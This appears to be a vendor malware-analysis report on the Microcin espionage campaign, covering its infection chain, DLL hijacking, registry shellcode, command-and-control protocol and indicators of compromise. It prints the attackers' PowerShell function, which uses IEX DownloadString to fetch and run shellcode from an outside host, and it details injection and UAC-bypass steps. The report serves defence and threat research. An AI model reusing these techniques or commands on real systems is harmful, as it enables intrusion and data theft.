



MICROCIN MALWARE: TECHNICAL DETAILS AND INDICATORS OF COMPROMISE

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Version 1.2 (September 25, 2017)

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Appendix 1. Technical details of the attack

Watering hole attack


We detected a malicious source file (exploit) while we were investigating a watering hole attack. The file details are as follows:

md5	a50b6ec77276cf235eaf2d14665bdb5c
file name	КакПриниматьКвартиру-1.rtf
source	traffic

First stage of infection

The dropper

When the exploit becomes active, an executable file with a dropper program is launched on the attacked PC. It contains the malicious program's encrypted installers intended for 32-bit and 64-bit operating systems:




Encrypted installers in the dropper's resources

The dropper determines whether it is running in a 32-bit or 64-bit environment, decrypts the appropriate installer, places it in the %temp% folder with a name that uses the format *kb[set of random characters].tmp*, and launches it for execution. After this, the dropper's process terminates.

The installer: main shellcode and DLL

The installer then starts infecting the system. In order to establish a foothold, it displays non-typical behavior:

1. Writes its main module to the registry – a shellcode that is stored in a registry parameter of the type REG_BINARY in a key with a random name starting with “M”, such as ‘HKCU\Software\Mbaccbbg’. The shellcode is stored in XOR-encrypted format with the last character in the key name used as the argument for XOR.
2. Modifies the parameter ‘Path’ (which is the user environment variable) in the key ‘hku\environment’, writing the path to the temporary folder %temp%.
3. Reads the memory of the explorer.exe process and searches for a suitable string that will be used to force the loading of a malicious DLL into this system process.
4. Creates a DLL in the temporary folder %temp%; the DLL name consists of the string found in the memory of the explorer.exe process (for example, the DLL name rer.pdb is from the appropriate string explorer.pdb found in the explorer.exe memory).
5. Injects the DLL into the running explorer.exe process with the help of the QueueUserAPC function. The address of kernel32.LoadLibraryA is sent as the first parameter, and the address of the string obtained in step 3 is sent as the third parameter for the QueueUserAPC function. After the malicious DLL is successfully injected into the explorer.exe process, the installer deletes the path to %temp% from the environment variable ‘Path’. If the function LoadLibraryA is called in the context of the explorer.exe process, and the string provided on entry is not a complete valid path to the DLL that is to be injected, the function will search for that path in the %temp% folder, and if found, the DLL will be loaded into the memory. This way, the malicious code is loaded into the explorer.exe process without being written to the process memory.
6. The installer copies one of the system libraries to %temp% with the name format *kb[set of random characters].ini* and modifies it by extending the resource section and changing the entry point to the beginning of the injected malicious code. This means the malicious code is given control the moment the library is loaded to the process’s memory.



Number	Name	VirtSize	RVA	PhysSize	Offset	Flag
1	.text	00076950	00001000	00076A00	00000400	60000020
2	.orpc	000003F1	00078000	00000400	00076E00	60000020
3	.data	00001440	00079000	00001400	00077200	C0000040
4	.rsrc	00072738	0007B000	00072800	00078600	40000040
5	.reloc	0000642C	000EE000	00006600	000EAE00	42000040

Offset out

List of sections of the original system library

```

.1D310D9E: 8BFF      mov     edi,edi
.1D310DA0: 55       push   ebp
.1D310DA1: 8BEC     mov     ebp,esp
.1D310DA3: 837D0C01  cmp     d,[ebp][00C],1
.1D310DA7: 7505     jnz    .01D310DAE --↓1
.1D310DA9: E8C9310000 call   .01D313F77 --↓2
.1D310DAE: 5D       1pop   ebp
.1D310DAF: 9090909090 nop
.1D310DB4: 6A2C     push   02C ;','
.1D310DB6: 68700E311D push   01D310E70 --↓3
.1D310DBB: E880FFFFFF call   .01D310D40 --↑4
.1D310DC0: 8B4D0C   mov     ecx,[ebp][00C]
.1D310DC3: 33D2     xor     edx,edx
    
```

Entry point to the original system library

Number	Name	VirtSize	RVA	PhysSize	Offset	Flag
1	.text	00076950	00001000	00076A00	00000400	E0000020
2	.orpc	000003F1	00078000	00000400	00076E00	60000020
3	.data	00001440	00079000	00001400	00077200	C0000040
4	.rsrc	00072C35	0007B000	00072E00	00078600	40000040
5	.reloc	0000642C	000EE000	00006600	000EB400	42000040

Offset out

The modified system library

```

.1D310D9E: E8C5660000 call   .01D317468 --↓1
.1D310DA3: 837D0C01  cmp     d,[ebp][00C],1
.1D310DA7: 7505     jnz    .01D310DAE --↓2
.1D310DA9: E8C9310000 call   .01D313F77 --↓3
.1D310DAE: 5D       2pop   ebp
.1D310DAF: 9090909090 nop
.1D310DB4: 6A2C     push   02C ;','
.1D310DB6: 68700E311D push   01D310E70 --↓4
.1D310DBB: E880FFFFFF call   .01D310D40 --↑5
.1D310DC0: 8B4D0C   mov     ecx,[ebp][00C]
.1D310DC3: 33D2     xor     edx,edx
    
```

The modified library entry point, ensuring control is handed over to the malicious code

The libraries modified by the malicious program vary for different versions of Windows:

Windows 10	dwmapi.dll
Windows 8 (.1) \ Windows Server 2012	d3d11.dll (x86)\ dwmapi.dll (x64)
Windows 7 \ Windows Server 2008 R2	propsys.dll
Windows 2000 \ Windows Server 2003	lpk.dll
Windows XP	shimeng.dll

Table of system libraries that are modified in each version of Windows

- The installer then sends a command to the library injected earlier into the explorer.exe process to place the modified system library in the folder %WINDIR%.

DLL hijacking

The method this malicious program employs to establish a foothold within the system is DLL hijacking in respect to the explorer.exe process. Each time the system boots, the explorer.exe process loads the modified malicious program into the memory; the malicious program is located in the same folder as the file explorer.exe. Once loaded into the memory of the explorer.exe process, the malicious library reads the parameter with the shellcode from the registry, decrypts it and launches for execution. This is the principal payload of the malicious program.

If the installer Microcin detects any running anti-malware processes before it establishes itself in the system, then the malicious library is not force-loaded into the context of the explorer.exe process during installation. If User Access Control is enabled, the installer places the modified system library into the folder %WINDIR% using the system app wusa.exe, a standalone Windows update installer, with the parameter "/extract". This is an auto-elevated application, and User Access Control in standard settings does not require user involvement to place the modified library in the required location (%WINDIR%).

It should be noted that this method will not work under Windows 10, as Microsoft has removed the parameter "/extract" from the parameters list of the wusa.exe utility.

Establishing persistence

The main shellcode

After launching, the main shellcode, which contains the necessary addresses, contacts its C&C servers:

- hand.wid*****lay[.]com → 127.0.0.1
- foot.bac*****ike[.]com → 45.**.*.192

The first is likely the fallback C&C server, it corresponds to the loopback IP address 127.0.0.1.

The second C&C is only intermittently active, it goes online to receive information from infected computers or send commands to the shellcode.

To contact the C&C, the malicious program sends a request to a link in the format '/index.asp?ID=hhtjqmrspjnQ', where the red string is generated depending on the parameters of the

infected operating system. The malicious program sends this request (a ping) every minute to the C&C and analyses the response.

In most cases, the response is empty, a simple pong:




```

Get SyntaxView | Transformer | Headers | TextView | ImageView
HTTP/1.1 200 OK
Date: Tue, 05 Jul 2016 02:29:42 GMT
Server: Microsoft-IIS/6.0
Content-Length: 9
Content-Type: text/html
Cache-Control: private
Connection: keep-alive
Last-Modified: Mon, 04 Jul 2016 16:38:04 GMT

hh0----0=

```

However, while we were monitoring the C&C we saw the response 'hj1000198377=' being sent. The bot recognized this as a task to download the file '\0001.jpg' from the C&C domain, which it did:



The main shellcode downloads a JPEG image

The main shellcode can process three commands. The first two involve the decryption and launching of an MZPE file or a shellcode (with or without saving to disk), and the third command relates to the deleting of a parameter with an additional shellcode (module) in the registry.

The file 0001.jpg which the malicious program downloads from the server is a JPEG image.



The image downloaded by the malicious program

This image exists in an online [gallery](#) where its file name is 'kariminal_rider'.

The malicious code searches for the special marker 'ABCD' in the downloaded image and decrypts data using the following algorithm:

```
index = sample_data.find("ABCD")
if index != -1:
    pos = index + 4
    z = struct.unpack("B", sample_data[pos])[0]
    type = struct.unpack("<I", sample_data[index + 5: index + 5 + 4])[0]
    payload_len = struct.unpack("<I", sample_data[index + 9: index + 9 + 4])[0]
    start_pos = index + 0x0D

    decrypted = ''

    for _ in xrange(payload_len):
        key = ((_ % 8) + z) & 0xFF
        decrypted += chr(ord(sample_data[start_pos + _]) ^ key)

    decoded = sample_data[:pos + 0x0D] + decrypted

    save_dump(decoded, sys.argv[1]+' .dec')
```

Procedure for decrypting the additional shellcode from the image

After decrypting the image's contents located at displacement 0x0D from the marker 'ABCD', the following code becomes visible:

terminate an arbitrary process, launch a console (cmd.exe) for remote execution of commands, re-boot and switch off the system. It can also take screenshots and send them to the malicious server.

015CBDC8	8B45 FC	MOV EAX, DWORD PTR SS:[EBP-4]	
015CBDCB	83F8 09	CMP EAX, 9	reboot system
015CBDCD	74 55	JE SHORT 015CBE25	
015CBDD0	83F8 0A	CMP EAX, 0A	
015CBDD3	74 54	JE SHORT 015CBE29	
015CBDD5	83F8 0B	CMP EAX, 0B	
015CBDD8	74 58	JE SHORT 015CBE32	
015CBDDA	83F8 04	CMP EAX, 4	
015CBDDD	74 23	JE SHORT 015CBE02	
015CBDDF	83F8 01	CMP EAX, 1	
015CBDE2	74 1E	JE SHORT 015CBE02	
015CBDE4	83F8 05	CMP EAX, 5	
015CBDE7	74 19	JE SHORT 015CBE02	
015CBDE9	83F8 03	CMP EAX, 3	
015CBDEC	74 14	JE SHORT 015CBE02	
015CBDEE	83F8 07	CMP EAX, 7	
015CBDF1	74 0F	JE SHORT 015CBE02	
015CBDF3	83F8 06	CMP EAX, 6	
015CBDF6	74 0A	JE SHORT 015CBE02	
015CBDF8	83F8 02	CMP EAX, 2	
015CBDFB	74 05	JE SHORT 015CBE02	
015CBDFD	83F8 08	CMP EAX, 8	
015CBE00	75 08	JNZ SHORT 015CBE0A	
015CBE02	50	PUSH EAX	
015CBE03	8BCE	MOV ECX, ESI	
015CBE05	E8 E5FEFFFF	CALL 015CBECE	
015CBE0A	8B8E F8000000	MOV ECX, DWORD PTR DS:[ESI+F8]	
015CBE10	3365 FC 00	AND DWORD PTR SS:[EBP-4], 0	
015CBE14	6A 04	PUSH 4	
015CBE16	8D45 FC	LEA EAX, DWORD PTR SS:[EBP-4]	
015CBE19	50	PUSH EAX	
015CBE1A	E8 ECF0FFFF	CALL 015CBB0B	c'c response
015CBE1F	85C0	TEST EAX, EAX	
015CBE21	75 A5	JNZ SHORT 015CBDC8	
015CBE23	EB 00	JMP SHORT 015CBE32	
015CBE25	6A 00	PUSH 0	
015CBE27	EB 02	JMP SHORT 015CBE2B	
015CBE29	6A 01	PUSH 1	
015CBE2B	8BCE	MOV ECX, ESI	
015CBE2D	E8 EBF0FFFF	CALL 015CBD1D	reboot system
015CBE32	33C0	XOR EAX, EAX	

Processing a command from the C&C

0127C10F	8B46 04	MOV EAX, DWORD PTR DS:[ESI+4]	
0127C110	51	PUSH EAX	
0127C113	897D 04	MOV DWORD PTR SS:[EBP-4C], EDI	
0127C116	897D 04	MOV DWORD PTR SS:[EBP-4C], EDI	
0127C119	897D 0B	MOV DWORD PTR SS:[EBP-43], EDI	
0127C11C	C745 DC 010100	MOV DWORD PTR SS:[EBP-24], 101	
0127C11E	C745 F8 706563	MOV DWORD PTR SS:[EBP-C], 63656370	
0127C121	C745 FC 236F41	MOV DWORD PTR SS:[EBP-3], 41236F41	
0127C125	FF90 C4000000	CALL DWORD PTR DS:[EAX+C4]	
0127C128	85C0	TEST EAX, EAX	
0127C200	74 42	JE SHORT 0127C244	
0127C202	8B46 04	MOV ECX, DWORD PTR DS:[ESI+4]	
0127C205	8D4D FC	LEA ECX, DWORD PTR SS:[EBP-4]	
0127C208	51	PUSH ECX	
0127C209	808D 9CFEFFFF	LEA ECX, DWORD PTR SS:[EBP-164]	
0127C20F	51	PUSH ECX	
0127C210	FF90 98000000	CALL DWORD PTR DS:[EAX+98]	
0127C216	8B46 04	MOV ECX, DWORD PTR DS:[ESI+4]	
0127C219	8D4D 00	LEA ECX, DWORD PTR SS:[EBP-60]	
0127C21C	51	PUSH ECX	
0127C21D	8D4D 00	LEA ECX, DWORD PTR SS:[EBP-60]	
0127C220	51	PUSH ECX	
0127C221	57	PUSH EDI	
0127C222	68 00000000	PUSH 00000000	
0127C225	57	PUSH EDI	
0127C228	57	PUSH EDI	
0127C22B	57	PUSH EDI	
0127C22C	808D 9CFEFFFF	LEA ECX, DWORD PTR SS:[EBP-164]	
0127C22E	51	PUSH ECX	
0127C22F	57	PUSH EDI	
0127C230	FF90 B0000000	CALL DWORD PTR DS:[EAX+B0]	kernel32.CreateProcessA
0127C232	8BC7	MOV EAX, EDI	
0127C235	74 06	JE SHORT 0127C244	
0127C238	8B4D 00	MOV ECX, DWORD PTR SS:[EBP-60]	
0127C241	894E 68	MOV DWORD PTR DS:[ESI+68], ECX	
0127C244	5F	POP EDI	
0127C245	5E	POP ESI	
0127C246	C9	LEAVE	
0127C247	C9	LEAVE	
0127C248	55	PUSH EBP	
0127C249	8BEC	MOV EBP, ESP	
0127C24B	8BEC 0C	SUB ESP, 0C	
0127C24E	8BEC 0C	SUB ESP, 0C	
DS:[0127608D]7E402082 (kernel32.CreateProcessA)			

The additional module launches a console to execute the cybercriminals' remote commands

The search procedure for files in the folder

Establishing persistence: other malicious tools

We searched Kaspersky Lab’s cloud technologies for the domain names used by Microcin and found that other malicious modules had also been downloaded from the URL address `foot.bac*****ike[.]com`. These modules were used not only in Microcin attacks but also in other cyberespionage campaigns, some of which are still active.

- `foot.bac*****ike[.]com/whale32.jpg` (and its 64-bit version `whale64.jpg` in the same location), despite its extension, is an MZPE file. This backdoor is designed to execute a cybercriminal’s commands, send data from infected computers, execute files, obtain information about the system, etc. The C&C URL is `whale.dee*****ave[.]com` (IP: 104.207.130.19). It works via HTTPS.

`foot.bac*****ike[.]com/ocean.jpg` is also an MZPE file and also a backdoor. However, its C&C is located at `vodxe.k*****c[.]com` (IP: 45.**.**.65). Using this malicious program, the cybercriminal can execute commands on the infected computer, delete files, receive files, collect information about the system, recursively delete folders, install and launch services, create screenshots, terminate processes, etc.

- This backdoor is launched using the DLL hijacking method, using a legitimate, digitally signed application to conceal the malicious activity, and has the internal name `RingDIIWM.dll` assigned by the module’s developer.
- `foot.bac*****ike[.]com/updater.jpg` is a component of the malicious program Microcin, designed to update the main shellcode in the registry.


Completing the mission – PowerATK

When we obtained the URL address of the backdoor's C&C named 'whale' (whale.dee*****ave.com), we found an open folder that was essentially a git-clone of PowerSploit – a ready-to-use toolkit of Powershell modules used in penetration tests. Those behind Microcin added a number of extra malicious programs to the standard PowerSploit toolkit and used it to steal information from infected PCs:


Directory listing for /

- [.git/](#)
 - [.gitignore](#)
 - [AntivirusBypass/](#)
 - [CodeExecution/](#)
 - [Exfiltration/](#)
 - [LICENSE](#)
 - [Mayhem/](#)
 - [payload/](#)
 - [Persistence/](#)
 - [PowerATK_PS/](#)
 - [PowerSploit.psd1](#)
 - [PowerSploit.psm1](#)
 - [PowerSploit.pssproj](#)
 - [PowerSploit.sln](#)
 - [Privesc/](#)
 - [README.md](#)
 - [Recon/](#)
 - [ScriptModification/](#)
 - [Tests/](#)
 - [vbscript/](#)
-

Contents of the root folder on the backdoor's C&C



Contents of the folder PowerATK_PS on the backdoor's C&C



Contents of the payload folder on the backdoor's C&C

```
function FireTheHole
{
    [CmdletBinding()] Param()

    # Start mutual exclusion
    # $createdNew = $false
    # $Mutex = New-Object -TypeName System.Threading.Mutex($true, "Global\ATTACK_ONCE", [ref]$createdNew)

    # if ($createdNew -and $Mutex.WaitOne(1))
    # {
    #     Write-Verbose "Mutex Acquired"
    #     $count = ps | select-string powershell | measure-object | %{$_.Count}
    #     if ($count -ge 8)
    #     {
    #         ps powershell | Select-Object id | Where-Object {$_.id -ne $pid} | kill
    #     }

    #     IEX (New-Object Net.WebClient).DownloadString("http://104.19/CodeExecution/Invoke-Shellcode.ps1")
    #     IEX (New-Object Net.WebClient).DownloadString("http://104.19/payload/x64_powershell.ps_payload")
    #     $Shellcode = [System.Convert]::FromBase64String($payload)
    #     Invoke-Shellcode -Shellcode $Shellcode -Force -Verbose
    #     Write-Verbose "shellcode execute success!"
    #     $Mutex.ReleaseMutex() | Out-Null
    # }
}
}
```

Function within one of the Powershell modules that was launched on the victim PC under the name update.vbs with the help of a special VBS file

The cybercriminals behind the Microcin attack also have other malicious programs in their arsenal. These include a utility that secretly sends collected data to a malicious server with the help of the system program bitsadmin.exe, various utilities to obtain login credentials from browsers, a keylogger, as well as batch files to collect and create password-protected archives of isolated data collected by the above utilities, and save them to a specific place so they can later be sent to cybercriminals.

Appendix 2. Indicators of compromise

MD5 (malicious documents)

371bae0fc70563c7fa1ec0e3a0f037f4
a50b6ec77276cf235eaf2d14665bdb5c
f4deeb3db67bae6cc224802fbad1f3f6
3f288e450a375a26bd9c4de7f2bcfd66
7bcf447a93fd37d068ec27dd04c301cb
873105f03ae425101ea206dcd6bc539f
ab6544e1eba3af3f5236d99b755c701c
6e006124678ffc18458d1322de6232a7

MD5 (backdoors)

056f811ef41c213b037008300b0daf0d
3ebcacb207b33bd5376d00b24cb3386c
4644ce606ab4b62622e4a9e6a80d792d
4ba4346984a380e22afacff78688a54
60cb9e553884085700e359e5367d5fb4
7771e1738fc2e4de210ac06a5e62c534
7a290a29ea0d84e4475e021fa87ec466
7d8ee0e91cd88bb36d84d52d1d796dea
a54966098b2281e4b75b747dbb52f431
a5c7b7a26fa0f15cbf7bdd3db597fbe6
dc6c8bae242c43dad76970329270155e
335cb36cc21c47b849d370a892d759b8
948fecf6a044b79de79dc69e09d9979b